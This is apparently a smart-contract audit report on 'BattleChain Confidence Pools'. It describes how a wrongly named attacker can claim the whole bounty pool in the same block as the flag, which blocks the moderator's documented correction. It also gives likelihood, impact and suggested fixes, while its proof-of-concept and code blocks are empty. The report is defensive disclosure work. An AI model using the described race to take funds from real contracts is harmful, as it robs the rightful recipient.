BattleChain Confidence Pools

Description

• Normal behavior: for a good-faith CORRUPTED outcome the entire pool (stake + bonus) is the named attacker's bounty (docs/DESIGN.md §12), paid in one claimAttackerBounty call. To protect against a mis-named attacker, the moderator may re-flag before the first claim; docs/DESIGN.md §4 states this exists so the moderator can "fix a typo'd outcome/attacker before any participant locks in the wrong distribution", and justifies first-claim finality because "a staker claiming first is exercising a correct outcome, not usurping one."

• Specific issue: for good-faith CORRUPTED, the only party that can latch finality is the named attacker itself — claimAttackerBounty requires msg.sender == attacker, and claimCorrupted is gated (MustClaimBountyFirst) until the bounty is claimed, so no one else can close the window. A wrongly-named attacker therefore calls claimAttackerBounty in the same block as the flag, takes the whole pool, and latches claimsStarted; the moderator's correction to the real whitehat then reverts with OutcomeAlreadySet. The correction window §4 documents for a typo'd attacker is unenforceable in exactly the scenario it was designed for. §4's assumption that "the first claimer is exercising a correct outcome" is false here: the first — and only possible — claimer is the wrong recipient. This does not require a malicious moderator: the moderator behaves correctly (attempts the documented correction); the harmful step is the named attacker's own permissionless claim.

Root cause (src/ConfidencePool.sol):

Risk

Likelihood:

• Occurs when the moderator flags good-faith CORRUPTED with the wrong attacker address — the exact "typo'd attacker" case docs/DESIGN.md §4's correction is documented to handle — and that address is adversarial.

• Occurs because nothing gates the claim's timing: once named, the attacker calls claimAttackerBounty in the same block as the flag, before any correction transaction can be mined, so the documented correction window is effectively zero.

Impact:

• The wrongly-named attacker receives the entire pool (stake + bonus); the correct whitehat receives nothing.

• The moderator's documented remedy for a mis-named attacker (§4) cannot be applied — the correction reverts with OutcomeAlreadySet. A supported safety mechanism is unenforceable precisely where it is meant to protect.

Proof of Concept

Add as test/poc/WrongAttackerFinality.t.sol; run forge test --match-path test/poc/WrongAttackerFinality.t.sol -vvv. Forward-only, reachable registry transitions.

Output:

Recommended Mitigation

Give the documented attacker-correction an actual window the named attacker cannot foreclose. For example, gate claimAttackerBounty behind a short delay after the good-faith CORRUPTED flag, during which the moderator may still re-flag the attacker:

Alternatively, allow the moderator to re-flag only the attacker address for a good-faith CORRUPTED outcome while bountyClaimed == 0, so a mis-name stays correctable until value actually moves.